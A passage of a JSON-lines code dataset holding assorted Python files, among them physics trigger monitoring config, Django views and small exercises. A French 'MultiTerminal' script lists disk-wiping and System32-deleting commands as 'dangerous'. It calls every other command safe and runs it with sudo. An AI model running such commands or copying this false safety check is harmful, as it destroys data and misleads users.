bag1.drop('lang_variant', axis = 1)\n\n\n# In[47]:\n\n\nbag1_shuffle_no_label = bag1_no_label.sample(frac=1)\nlen(bag1_shuffle_no_label)\n\n\n# In[48]:\n\n\nnumpy_array = bag1_no_label.to_numpy()\nnp.savetxt(\"bag1_no_label.txt\", numpy_array, fmt = \"%s\")\nbag1_no_label.to_csv(\"bag1_no_label.csv\", index=True)\nnumpy_array = bag1_shuffle_no_label.to_numpy()\nnp.savetxt(\"bag1_shuffle_no_label.txt\", numpy_array, fmt = \"%s\")\nbag1_shuffle_no_label.to_csv(\"bag1_shuffle_no_label.csv\", index=True)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"nairnish/DSCI-601","sub_path":"MTurk - Crowd Related Scripts/ReadFiles.py","file_name":"ReadFiles.py","file_ext":"py","file_size_in_byte":3540,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"73671199556","text":"\n#la inmutabilidad en python es no modificar los datos creados si no crear uno nuevos para no crear paralelislmos \n\nlista = [\"luis\" , \"kelly \"]\n\nfor personas in lista:\n print(personas)\n\nnueva_lista = lista + [\"kevin\"]\n\nfor personas in nueva_lista:\n print(personas)","repo_name":"DarenHein/python_intermedio","sub_path":"programacion funcional /inmutabilidad.py","file_name":"inmutabilidad.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21393706039","text":"t = int(input())\nfor i in range(t):\n a,b = map(int,input().split())\n c = 10*a\n d = 5*b\n if(c==d):\n print(\"ANY\")\n elif(c>d):\n print(\"FIRST\")\n else:\n print(\"SECOND\")\n","repo_name":"Adithyagaddam/CodeCheff-and-leetcode","sub_path":"Sasta Shark Tanks.py","file_name":"Sasta Shark Tanks.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19518127751","text":"import os\nfrom typing import List\nfrom jaspr.apps.kiosk.activities.activity_utils import IActivity\nfrom jaspr.apps.kiosk.models import Encounter, AssignedActivity, Srat\n\n\ndef create(encounter: Encounter) -> IActivity:\n srat = Srat()\n srat.save()\n aa = AssignedActivity(\n encounter=encounter,\n suicide_assessment=srat\n )\n aa.save()\n return aa\n\n\ndef get_versions() -> List[str]:\n files = os.listdir(\"./questions\")\n versions = []\n for filename in files:\n if filename.index(\".json.tmpl\") > -1:\n version = filename.strip(\".json.tmpl\")\n versions.append(version)\n return versions\n","repo_name":"klikz-dev/jaspr-mono","sub_path":"backend/jaspr/apps/kiosk/activities/suicide_assessment/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"11045666082","text":"import sys\nimport os\nimport time\nimport getpass\n\nos.system(\"clear\")\nprint(\"MultiTerminal - Crée par Undo Technologies\")\ntime.sleep(2)\nprint('MultiTerminal: Bienvenue à MultiTerminal! Faire sur que cette programme est ouvert avec les permission de \"SuperUser (su)\" ou de \"sudo\".')\ntime.sleep(3)\n\nhelplist = 'aide', 'Aide', 'AIDE', '?'\nverify = 'verifier', 'verifie', 'vérifier', 'verifié', 'vérifi��', 'vérifie'\ndanger_list = \"sudo format disk0\", \"format disk0\", \"del C:\\Windows\\System32\\*.*\"\ncontinue_y = 'oui', 'Oui', 'OUI', 'o', 'O', 'y', 'Y'\nend = \"fermer\", \"Fermer\", \"FERMER\"\nversion = \"Version\", \"version\", \"VERSION\", \"ver\", \"Ver\", \"VER\"\n\nmessage = input(\"MultiTerminal: Qu'est-ce que tu veux faire aujourd'hui? > \")\n\nif message in helplist:\n os.system(\"clear\")\n print('MultiTerminal: Vos options sont:')\n print('MultiTerminal: Vérifier - Faire sur que ton programme est sauf pour ton ordinateur')\n print('MultiTerminal: Analyser - Analyser des fichiers *Pas fonctionelle encore*')\n print(\"MultiTerminal: Fermer - Fermer MultiTerminal\")\n print(\"MultiTerminal: Version - Donner la version du MultiTerminal\")\n print('MultiTerminal: Et plus à venir...')\n print(\"MultiTerminal: La programme va redémmarer pour continuer.\")\n input(\"MultiTerminal: Tapper le boutton d'entrée pour continuer...\")\n os.system(\"sudo python3 MultiTerminalVer0-0-1a.py\")\nelse:\n if message in verify:\n os.system(\"clear\")\n command = input(\"MultiTerminal: C'est quoi ton commande? > \")\n if command in danger_list:\n print(\"MultiTerminal: Cette commande est malveillent et peut causer des problèmes dessus ton ordinateur. Nous vous conseillons de ne pas utiliser cette commande pour la sécurité de ton ordinateur!\")\n time.sleep(2)\n continue1 = input(\"MultiTerminal: Veux-tu faire d'autre choses aujourd'hui? > \")\n if continue1 in continue_y:\n print(\"MultiTerminal: OK, la programme va redémmarer maintenant!\")\n time.sleep(3)\n os.system(\"sudo python3 MultiTerminalVer0-0-1a.py\")\n else:\n print(\"MultiTerminal: OK, bonne journée!\")\n os.system(\"clear\")\n else:\n print(\"MultiTerminal: Cette programme est saufe pour ton ordinateur! Si vous encore n'êtes pas sûr si cette commande est 100% sauf, tu n'as pas besoin d'exécuter.\")\n run = input(\"MultiTerminal: Veux-tu qu'on exécute cette commande? > \")\n if run in continue_y:\n print(\"MultiTerminal: OK, on va faire ça maintenant!\")\n time.sleep(3)\n os.system(command)\n continue3 = input(\"MultiTerminal: Veux-tu faire d'autre choses aujourd'hui? > \")\n if continue3 in continue_y:\n print(\"MultiTerminal: OK, la programme va redémmarer maintenant!\")\n time.sleep(3)\n os.system(\"sudo python3 MultiTerminalVer0-0-1a.py\")\n else:\n print(\"MultiTerminal: OK, bonne journée!\")\n os.system(\"clear\")\n else:\n print(\"MultiTerminal: OK, on ne va pas exécuter cette commande.\")\n continue2 = input(\"MultiTerminal: Veux-tu faire d'autre choses aujours'hui? > \")\n if continue2 in continue_y:\n print(\"MultiTerminal: OK, la programme va redémmarer maintenant!\")\n time.sleep(3)\n os.system(\"sudo python3 MultiTerminalVer0-0-1a.py\")\n else:\n print(\"MultiTerminal: OK, bonne journée!\")\n os.system(\"clear\")\n else:\n if message in end:\n print(\"MultiTerminal: OK, bonne journée!\")\n else:\n if message in version:\n print(\"MultiTerminal: Version 0.0.1a par Undo Technologies/Brennan LeBlanc\")\n time.sleep(3)\n print(\"MultiTerminal: La programme va redémmarer maintenant pour continuer.\")\n time.sleep(3)\n os.system(\"sudo python3 MultiTerminalVer0-0-1a.py\")\n else:\n print(\"MultiTerminal: Je m'excuse, je n'ai pas compris ça. La programme va maintenant redémmarer pour continuer.\")\n os.system(\"sudo python3 MultiTerminalVer0-0-1a.py\")\n \n","repo_name":"UndoTechnologies/MultiTerminal-Linux-fr_ca","sub_path":"MultiTerminal/MultiTerminalVer0-0-1a.py","file_name":"MultiTerminalVer0-0-1a.py","file_ext":"py","file_size_in_byte":4379,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43692724657","text":"import sys\nsys.path.extend(['..', '.'])\nfrom fetch import fetch\nfrom collections import *\n\ndef p1(ws):\n x, y = 0, 0\n for w in ws:\n C = Counter()\n for c in w: C[c] += 1\n if 2 in set(C.values()): x += 1\n if 3 in set(C.values()): y += 1\n return x*y\n\ndef p2(ws):\n for w1 in ws:\n for w2 in ws:\n common = ''\n for c1, c2 in zip(w1, w2):\n if c1 == c2:\n common += c1\n if len(common) == len(w1) - 1:\n return common\n\nif __name__ == '__main__':\n v = fetch(2).split()\n print('part_1: {}'.format(p1(v)))\n print('part_2: {}'.format(p2(v)))\n","repo_name":"exoji2e/aoc2018","sub_path":"02/day02.py","file_name":"day02.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"75153086276","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import *\nfrom cart.forms import CartAddProductForm\n\n\ndef store_page(request, category_slug=None):\n category = None\n categories = Category.objects.all()\n products = Products.objects.filter(available=True)\n if category_slug:\n category = get_object_or_404(Category, slug=category_slug)\n products = products.filter(category=category)\n\n context = {'products': products, 'category': category, 'categories': categories}\n return render(request, 'store/product/store.html', context)\n\n\ndef product_detail(request, id, slug):\n product = get_object_or_404(Products, id=id, slug=slug, available=True)\n cart_product_form = CartAddProductForm()\n return render(request, 'store/product/product_detail.html',\n {'product': product, 'cart_product_form': cart_product_form}\n )\n","repo_name":"Zalotleh/Recipe_Platform_app_v1","sub_path":"recipe_platform_app/store/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1733994533","text":"# Subarrays with Product Less than a Target (medium)\n# https://designgurus.org/path-player?courseid=grokking-the-coding-interview&unit=grokking-the-coding-interview_1628743479436_7Unit\n\n# Problem Statement\n#\n# Given an array with positive numbers and a positive target number, find all of its contiguous subarrays whose\n# product is less than the target number.\n#\n# Example 1:\n#\n# Input: [2, 5, 3, 10], target=30\n# Output: [2], [5], [2, 5], [3], [5, 3], [10]\n# Explanation: There are six contiguous subarrays whose product is less than the target.\n# Example 2:\n#\n# Input: [8, 2, 6, 5], target=50\n# Output: [8], [2], [8, 2], [6], [2, 6], [5], [6, 5]\n# Explanation: There are seven contiguous subarrays whose product is less than the target.\n\n# Solution\n#\n# This problem follows the Sliding Window and the Two Pointers pattern and shares similarities with Triplets with\n# Smaller Sum with two differences:\n# 1. In this problem, the input array is not sorted.\n# 2. Instead of finding triplets with sum less than a target, we need to find all subarrays having a product less than\n# the target.\n# The implementation will be quite similar to Triplets with Smaller Sum.\n\nfrom collections import deque\n\n\ndef find_subarrays(arr, target):\n result = []\n product = 1\n left = 0\n for right in range(len(arr)):\n product *= arr[right]\n while product >= target and left < len(arr):\n product /= arr[left]\n left += 1\n # since the product of all numbers from left to right is less than the target\n # therefore, all subarrays from left to right will have a product less than the\n # target too; to avoid duplicates, we will start with a subarray containing only\n # arr[right] and then extend it\n temp_list = deque()\n for i in range(right, left - 1, -1):\n temp_list.appendleft(arr[i])\n result.append(list(temp_list))\n return result\n\n\ndef main():\n print(find_subarrays([2, 5, 3, 10], 30))\n print(find_subarrays([8, 2, 6, 5], 50))\n\n\nmain()\n\n# Time Complexity\n#\n# The main for-loop managing the sliding window takes O(N)O(N) but creating subarrays can take up to O(N^2)\n# in the worst case. Therefore overall, our algorithm will take O(N^3).\n#\n# Space Complexity\n#\n# Ignoring the space required for the output list, the algorithm runs in O(N) space which is used for the temp list.\n#\n# Can you try estimating how much space will be required for the output list?\n#\n# The worst-case will happen when every subarray has a product less than the target!\n# So the question will be, how many contiguous subarrays an array can have?\n# It is definitely not all Permutations of the given array; is it all Combinations of the given array?\n#\n# It is not all the Combinations of all elements of the array!\n#\n# For an array with distinct elements, finding all of its contiguous subarrays is like finding the number of ways to\n# choose two indices, i and j, in the array such that i <= j.\n#\n# If there are a total of n elements in the array, here is how we can count all the contiguous subarrays:\n#\n# When i = 0, j can have any value from 0 to n-1, giving a total of n choices.\n# When i = 1, j can have any value from 1 to n-1, giving a total of n-1 choices.\n# Similarly, when i = 2, j can have n-2 choices.\n# …\n# …\n# When i = n-1, j can only have 1 choice.\n# Let’s combine all the choices:\n#\n# n + (n-1) + (n-2) + ... 3 + 2 + 1\n# Which gives us a total of: n*(n+1)/2n∗(n+1)/2\n#\n# So, at most, we need space for O(n^2) output lists. At worst, each subarray can take O(n) space, so overall,\n# our algorithm’s space complexity will be O(n^3).\n","repo_name":"henrylin2008/Coding_Problems","sub_path":"Coding Patterns/Two Pointers/Subarrays with Product Less than a Target.py","file_name":"Subarrays with Product Less than a Target.py","file_ext":"py","file_size_in_byte":3672,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"16804122282","text":"import numpy as np\nimport os\n\nclass Grid(np.ndarray):\n def __new__(cls, grid, *args, **kwargs):\n obj = np.asarray(grid).view(cls)\n return obj\n\n def __init__(self, grid, XLLCenter, YLLCenter, cellSize, projection, missingValue):\n self.nrows = len(self)\n self.ncols = len(self[0])\n self.XLLCenter = XLLCenter # X dimension lower left center\n self.YLLCenter = YLLCenter # Y dimension lower left center\n self.cellSize = cellSize\n self.missingValue = missingValue\n self.projection = projection\n\n def export(self, filePathAndName):\n '''\n Export grid to ASCII grid format along with PRJ file\n '''\n outfile = open(filePathAndName,'w')\n outfile.write ('ncols ' + str(self.ncols) + '\\n')\n outfile.write ('nrows ' + str(self.nrows) + '\\n')\n outfile.write ('xllcenter ' + str(self.XLLCenter) + '\\n')\n outfile.write ('yllcenter ' + str(self.YLLCenter) + '\\n')\n outfile.write ('cellsize ' + str(self.cellSize) + '\\n')\n outfile.write ('NODATA_value ' + str(self.missingValue) + '\\n')\n\n for row in reversed(self):\n #outfile.write('\\n')\n for ob in row:\n outfile.write(str(ob) + '\\t')\n\n outfile.close()\n\n #Create PRJ\n prjFile = os.path.splitext(filePathAndName)[0] + '.prj'\n outfile = open(prjFile,'w')\n outfile.write(str(self.projection))\n outfile.close()\n\nif __name__ == '__main__':\n grid = [[1, 2, 3, 4], [5, 6, 7,8], [9, 10, 11, 12]]\n XLLCenter = -130\n YLLCenter = 40\n cellSize = 4\n missingValue = -999\n projection = 'NAD83'\n g = Grid(grid = grid, XLLCenter = XLLCenter, YLLCenter = YLLCenter\n , cellSize = cellSize, projection = projection, missingValue = missingValue)\n g.export('aaa.asc')\n print (g.ncols)\n print (g.nrows)\n print (g)","repo_name":"govtmirror/IM_Climate","sub_path":"IM_Climate_py/Grid.py","file_name":"Grid.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71684945476","text":"def PprMonitoringConfig(inputFlags):\n '''Function to configure LVL1 Ppr algorithm in the monitoring system.'''\n\n import math \n # get the component factory - used for getting the algorithms\n from AthenaConfiguration.ComponentFactory import CompFactory\n from AthenaConfiguration.ComponentAccumulator import ComponentAccumulator\n result = ComponentAccumulator()\n\n # make the athena monitoring helper\n from AthenaMonitoring import AthMonitorCfgHelper\n helper = AthMonitorCfgHelper(inputFlags,'PprMonitoringCfg')\n\n # get any algorithms\n PprMonAlg = helper.addAlgorithm(CompFactory.PprMonitorAlgorithm,'PprMonAlg')\n\n # add any steering\n groupName = 'PprMonitor' # the monitoring group name is also used for the package name\n PprMonAlg.PackageName = groupName\n\n # Steering properties \n threshADC = 50\n PprMonAlg.TT_ADC_HitMap_Thresh = threshADC # ADC cut for hit maps\n \n sliceNo = 15\n PprMonAlg.SliceNo = sliceNo # Max number of timeslices in the readout\n \n threshVec = [0, 1, 3, 5, 10, 20, 30, 50] # LUT thresholds \n PprMonAlg.LUTHitMap_ThreshVec = threshVec\n\n # Environment\n isOnline = inputFlags.Trigger.Online.isPartition \n \n # Histogram paths\n mainDir = 'L1Calo'\n trigPath = 'PPM/'\n\n # add monitoring algorithm to group, with group name and main directory \n groupLUTCP = helper.addGroup(PprMonAlg, 'groupLUTCP', mainDir)\n groupLUTCP_EM = helper.addGroup(PprMonAlg, 'groupLUTCP_EM', mainDir)\n groupLUTCP_HAD = helper.addGroup(PprMonAlg, 'groupLUTCP_HAD', mainDir)\n groupLUTJEP = helper.addGroup(PprMonAlg, 'groupLUTJEP', mainDir)\n groupLUTJEP_EM = helper.addGroup(PprMonAlg, 'groupLUTJEP_EM', mainDir)\n groupLUTJEP_HAD = helper.addGroup(PprMonAlg, 'groupLUTJEP_HAD', mainDir)\n groupADC_EM = helper.addGroup(PprMonAlg, 'groupADC_EM', mainDir)\n groupADC_HAD = helper.addGroup(PprMonAlg, 'groupADC_HAD', mainDir)\n groupTimeslice_EM = helper.addGroup(PprMonAlg, 'groupTimeslice_EM', mainDir)\n groupTimeslice_HAD = helper.addGroup(PprMonAlg, 'groupTimeslice_HAD', mainDir)\n groupTimeslice = helper.addGroup(PprMonAlg, 'groupTimeslice', mainDir)\n groupErrors_EM = helper.addGroup(PprMonAlg, 'groupErrors_EM', mainDir)\n groupErrors_HAD = helper.addGroup(PprMonAlg, 'groupErrors_HAD', mainDir)\n\n # Trigger tower plots: eta-phi granularity\n etabins = [-4.9,-4.475,-4.050,-3.625,-3.2,-3.1,-2.9,\n -2.7,-2.5,-2.4,-2.3,-2.2,-2.1,-2.0,-1.9,\n -1.8,-1.7,-1.6,-1.5,-1.4,-1.3,-1.2,-1.1,\n -1.0,-0.9,-0.8,-0.7,-0.6,-0.5,-0.4,-0.3,\n -0.2,-0.1,0.0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,\n 0.8,0.9,1.0,1.1,1.2,1.3,1.4,1.5,1.6,1.7,\n 1.8,1.9,2.0,2.1,2.2,2.3,2.4,2.5,2.7,2.9,\n 3.1,3.2,3.625,4.050,4.475,4.9]\n\n etabins_HAD_1D = [-4.9,-4.050,-3.2,-3.1,-2.9,\n -2.7,-2.5,-2.4,-2.3,-2.2,-2.1,-2.0,-1.9,\n -1.8,-1.7,-1.6,-1.5,-1.4,-1.3,-1.2,-1.1,\n -1.0,-0.9,-0.8,-0.7,-0.6,-0.5,-0.4,-0.3,\n -0.2,-0.1,0.0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,\n 0.8,0.9,1.0,1.1,1.2,1.3,1.4,1.5,1.6,1.7,\n 1.8,1.9,2.0,2.1,2.2,2.3,2.4,2.5,2.7,2.9,\n 3.1,3.2,4.050,4.9]\n\n phibins = 64\n phimin = 0\n phimax_2d = 64\n phimax_1d = 2.*math.pi \n maxEnergyRange = 256\n bcn = 3564 # Max number of bunches\n\n \n ####################### \n # PPM inputs (LUT-CP) #\n #######################\n histPath = trigPath+'/LUT-CP/Distributions'\n\n # LUT per BCN (Both EM & HAD together)\n groupLUTCP.defineHistogram('BCID;ppm_1d_tt_lutcp_LutPerBCN', \n title='Number of LUT-CP > 5 GeV/2 per BC; Bunch crossing; # of LUT above limit', \n type='TH1F', path=histPath, xbins=bcn, xmin=0, xmax=bcn, \n cutmask='mask_cpET_5')\n \n # EM distributions\n groupLUTCP_EM.defineHistogram('eta_TT;ppm_em_1d_tt_lutcp_Eta', \n title='EM LUT-CP: Distribution of peak in #eta; #eta', \n type='TH1F', path=histPath, xbins=etabins, \n cutmask='mask_cpET_0')\n\n groupLUTCP_EM.defineHistogram('phiTT_1D;ppm_em_1d_tt_lutcp_Phi', \n title='EM LUT-CP: Distribution of peak in #phi; #phi', \n type='TH1F', path=histPath, xbins=phibins, xmin=phimin, xmax=phimax_1d)\n \n groupLUTCP_EM.defineHistogram('cpET_TT;ppm_em_1d_tt_lutcp_Et', \n title='EM LUT-CP: Distribution of peak; EM LUT peak [GeV/2]', \n type='TH1F', path=histPath, xbins=maxEnergyRange-1, xmin=1, xmax=maxEnergyRange, \n cutmask='mask_cpET_0')\n\n # HAD distributions\n groupLUTCP_HAD.defineHistogram('eta_TT;ppm_had_1d_tt_lutcp_Eta', \n title='HAD LUT-CP: Distribution of peak in #eta; #eta', \n type='TH1F', path=histPath, xbins=etabins_HAD_1D, \n cutmask='mask_cpET_0')\n\n groupLUTCP_HAD.defineHistogram('phiTT_1D;ppm_had_1d_tt_lutcp_Phi', \n title='HAD LUT-CP: Distribution of peak in #phi; #phi', \n type='TH1F', path=histPath, xbins=phibins, xmin=phimin, xmax=phimax_1d)\n \n groupLUTCP_HAD.defineHistogram('cpET_TT;ppm_had_1d_tt_lutcp_Et', \n title='HAD LUT-CP: Distribution of peak; HAD LUT peak [GeV/2]', \n type='TH1F', path=histPath, xbins=maxEnergyRange-1, xmin=1, xmax=maxEnergyRange, \n cutmask='mask_cpET_0')\n\n # Eta-phi maps\n histPath = trigPath+'/LUT-CP/EtaPhiMaps'\n\n groupLUTCP_EM.defineHistogram('etaTT_2D,phiTT_2D,cpET_TT_2D;ppm_em_2d_etaPhi_tt_lutcp_AverageEt', \n title='EM Average LUT-CP Et for Et > 5 GeV/2', \n type='TProfile2D', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d)\n \n groupLUTCP_HAD.defineHistogram('etaTT_2D,phiTT_2D,cpET_TT_2D;ppm_had_2d_etaPhi_tt_lutcp_AverageEt', \n title='HAD Average LUT-CP Et for Et > 5 GeV/2', \n type='TProfile2D', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d)\n\n # Eta-phi maps per threshold (low stat). \n # Offline: fill on a per-LB basis and then merge into low-stat plots\n # Online: refresh every 10 LB\n\n layers = ['EM', 'HAD']\n iThresh = list(range(0, len(threshVec)))\n\n for layer in layers:\n for i in iThresh:\n groupLUTCP_LB = helper.addGroup(PprMonAlg, 'groupLUTCP_{0}_{1}_LB'.format(layer, threshVec[i]), mainDir)\n groupLUTCP_LB.defineHistogram('etaTT_2D,phiTT_2D;ppm_{0}_2d_etaPhi_tt_lutcp_Threshold0{1}'.format(layer.lower(), i), \n title='#eta - #phi map of {0} LUT-CP > {1} GeV/2'.format(layer, threshVec[i]), \n type='TH2D', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d, \n opt='kAlwaysCreate', \n duration='' if isOnline else 'lb')\n \n\n ######################## \n # PPM inputs (LUT-JEP) #\n ########################\n histPath = trigPath+'/LUT-JEP/Distributions'\n \n # LUT per BCN\n groupLUTJEP.defineHistogram('BCID;ppm_1d_tt_lutjep_LutPerBCN', \n title='Number of LUT-JEP > 5 GeV per BC; Bunch crossing; # of LUT above limit', \n type='TH1F', path=histPath, xbins=bcn, xmin=0, xmax=bcn, \n cutmask='mask_jepET_5')\n \n # EM distributions\n groupLUTJEP_EM.defineHistogram('eta_TT;ppm_em_1d_tt_lutjep_Eta', \n title='EM LUT-JEP: Distribution of peak in #eta', \n type='TH1F', path=histPath, xbins=etabins, \n cutmask='mask_jepET_0')\n\n groupLUTJEP_EM.defineHistogram('phiTT_1D;ppm_em_1d_tt_lutjep_Phi', \n title='EM LUT-JEP: Distribution of peak in #phi; #phi', \n type='TH1F', path=histPath, xbins=phibins, xmin=phimin, xmax=phimax_1d)\n\n groupLUTJEP_EM.defineHistogram('jepET_TT;ppm_em_1d_tt_lutjep_Et', \n title='EM LUT-JEP: Distribution of peak; EM LUT peak [GeV]', \n type='TH1F', path=histPath, xbins=maxEnergyRange-1, xmin=1, xmax=maxEnergyRange, \n cutmask='mask_jepET_0') \n\n # HAD distributions\n groupLUTJEP_HAD.defineHistogram('eta_TT;ppm_had_1d_tt_lutjep_Eta', \n title='HAD LUT-JEP: Distribution of peak in #eta', \n type='TH1F', path=histPath, xbins=etabins_HAD_1D, \n cutmask='mask_jepET_0')\n\n groupLUTJEP_HAD.defineHistogram('phiTT_1D;ppm_had_1d_tt_lutjep_Phi', \n title='HAD LUT-JEP: Distribution of peak in #phi; #phi', \n type='TH1F', path=histPath, xbins=phibins, xmin=phimin, xmax=phimax_1d)\n\n groupLUTJEP_HAD.defineHistogram('jepET_TT;ppm_had_1d_tt_lutjep_Et', \n title='HAD LUT-JEP: Distribution of peak; HAD LUT peak [GeV]', \n type='TH1F', path=histPath, xbins=maxEnergyRange-1, xmin=1, xmax=maxEnergyRange, \n cutmask='mask_jepET_0') \n\n # Eta-phi maps\n histPath = trigPath+'/LUT-JEP/EtaPhiMaps'\n\n groupLUTJEP_EM.defineHistogram('etaTT_2D,phiTT_2D,jepET_TT_2D;ppm_em_2d_etaPhi_tt_lutjep_AverageEt', \n title='EM Average LUT-JEP Et for Et > 5 GeV', \n type='TProfile2D', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d)\n\n groupLUTJEP_HAD.defineHistogram('etaTT_2D,phiTT_2D,jepET_TT_2D;ppm_had_2d_etaPhi_tt_lutjep_AverageEt', \n title='HAD Average LUT-JEP Et for Et > 5 GeV', \n type='TProfile2D', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d)\n \n for layer in layers:\n for i in iThresh:\n groupLUTJEP_LB = helper.addGroup(PprMonAlg, 'groupLUTJEP_{0}_{1}_LB'.format(layer, threshVec[i]), mainDir) \n groupLUTJEP_LB.defineHistogram('etaTT_2D,phiTT_2D;ppm_{0}_2d_etaPhi_tt_lutjep_Threshold0{1}'.format(layer.lower(), i), \n title='#eta - #phi map of {0} LUT-JEP > {1} GeV'.format(layer, threshVec[i]), \n type='TH2D', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d, \n opt='kAlwaysCreate', \n duration='' if isOnline else 'lb') \n\n\n ####################\n # PPM inputs (ADC) #\n ####################\n histPath = trigPath+'/ADC/EtaPhiMaps'\n \n # EM tower maps \n groupADC_EM.defineHistogram('etaTT_2D,phiTT_2D;ppm_em_2d_etaPhi_tt_adc_HitMap', \n title='#eta - #phi map of EM FADC > {0} for triggered timeslice; Tower #eta; Tower #phi'.format(threshADC), \n type='TH2F', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d) \n \n groupADC_EM.defineHistogram('etaTT_2D,phiTT_2D,adcTT;ppm_em_2d_etaPhi_tt_adc_ProfileHitMap', \n title='#eta - #phi profile map of EM FADC > {0} for triggered timeslice; Tower #eta; Tower #phi'.format(threshADC), \n type='TProfile2D', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d)\n \n # HAD tower maps \n groupADC_HAD.defineHistogram('etaTT_2D,phiTT_2D;ppm_had_2d_etaPhi_tt_adc_HitMap', \n title='#eta - #phi map of HAD FADC > {0} for triggered timeslice; Tower #eta; Tower #phi'.format(threshADC),\n type='TH2F', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d)\n \n groupADC_HAD.defineHistogram('etaTT_2D,phiTT_2D,adcTT;ppm_had_2d_etaPhi_tt_adc_ProfileHitMap', \n title='#eta - #phi profile map of HAD FADC > {0} for triggered timeslice; Tower #eta; Tower #phi'.format(threshADC), \n type='TProfile2D', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d)\n \n # Triggered time-slice\n histPath = trigPath+'/ADC/Timeslices'\n\n groupTimeslice_EM.defineHistogram('adcPeak;ppm_em_1d_tt_adc_TriggeredSlice', \n title='Number of the EM triggered slice; # Slice', \n type='TH1F', path=histPath, xbins=sliceNo, xmin=0, xmax=sliceNo) \n \n groupTimeslice_HAD.defineHistogram('adcPeak;ppm_had_1d_tt_adc_TriggeredSlice', \n title='Number of the HAD triggered slice; # Slice', \n type='TH1F', path=histPath, xbins=sliceNo, xmin=0, xmax=sliceNo) \n \n groupTimeslice_EM.defineHistogram('maxADC;ppm_em_1d_tt_adc_MaxTimeslice', \n title='EM distribution of maximum timeslice; slice', \n type='TH1D', path=histPath, xbins=sliceNo, xmin=0, xmax=sliceNo) \n\n groupTimeslice_HAD.defineHistogram('maxADC;ppm_had_1d_tt_adc_MaxTimeslice', \n title='HAD distribution of maximum timeslice; slice', \n type='TH1D', path=histPath, xbins=sliceNo, xmin=0, xmax=sliceNo) \n \n groupTimeslice_EM.defineHistogram('etaTT_2D,phiTT_2D,maxADCPlus1;ppm_em_2d_etaPhi_tt_adc_MaxTimeslice', \n title='Average maximum timeslice for EM signal (TS:1-15); Tower #eta; Tower #phi', \n type='TProfile2D', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d) \n\n groupTimeslice_HAD.defineHistogram('etaTT_2D,phiTT_2D,maxADCPlus1;ppm_had_2d_etaPhi_tt_adc_MaxTimeslice', \n title='Average maximum timeslice for HAD signal (TS:1-15); Tower #eta; Tower #phi', \n type='TProfile2D', path=histPath, xbins=etabins, ybins=phibins, ymin=phimin, ymax=phimax_2d)\n\n # Bits of BCID logic word \n bcidBitsLabels = ['none (40 MHz)', 'satBC only', 'peakF only', 'satBC & peakF', 'sat80BC & peakF', 'sat80BC & sat40BC', 'sat80BC only']\n groupTimeslice.defineHistogram('bcidBits,adcBCID;ppm_2d_tt_adc_BcidBits', \n title='PPM: PeakADC Vs. Bits of BCID Logic Word', \n type='TH2I', path=histPath, xbins=7, xmin=0, xmax=7, xlabels=bcidBitsLabels, ybins=1024, ymin=0, ymax=1024)\n \n # High/low threshold pass cases (Sat80 BCID)\n sat80Labels = ['no saturated ADC', 'none/none', 'none/low', 'none/high', 'low/low', 'low/high', 'high/high', 'else']\n groupTimeslice.defineHistogram('sat80Word;ppm_1d_tt_adc_HLCase', \n title= 'PPM: Sat80 thresholds passed by ADC[n-2.5] / ADC[n-1.5]', \n type='TH1I', path=histPath, xbins=8, xmin=0, xmax=8, xlabels=sat80Labels)\n\n # Signal shape profiles\n partitionsEM = ['LArFCAL1C', 'LArEMECC', 'LArOverlapC', 'LArEMBC', 'LArEMBA', 'LArOverlapA', 'LArEMECA', 'LArFCAL1A']\n partitionsHAD = [ 'LArFCAL23C', 'LArHECC', 'TileEBC', 'TileLBC', 'TileLBA', 'TileEBA', 'LArHECA', 'LArFCAL23A']\n\n signalsEM = helper.addArray([partitionsEM], PprMonAlg, 'groupTimeslice_EM', topPath=mainDir)\n signalsEM.defineHistogram('slice,wADC;ppm_em_1d_tt_adc_SignalProfile{0}', \n title='Signal Shape Profile for {0}; Timeslice', \n type='TProfile', path=histPath, xbins=sliceNo, xmin=0, xmax=sliceNo)\n\n signalsHAD = helper.addArray([partitionsHAD], PprMonAlg, 'groupTimeslice_HAD', topPath=mainDir)\n signalsHAD.defineHistogram('slice,wADC;ppm_had_1d_tt_adc_SignalProfile{0}', \n title='Signal Shape Profile for {0}; Timeslice', \n type='TProfile', path=histPath, xbins=sliceNo, xmin=0, xmax=sliceNo)\n \n ####################\n # Errors #\n ####################\n \n # Note: use 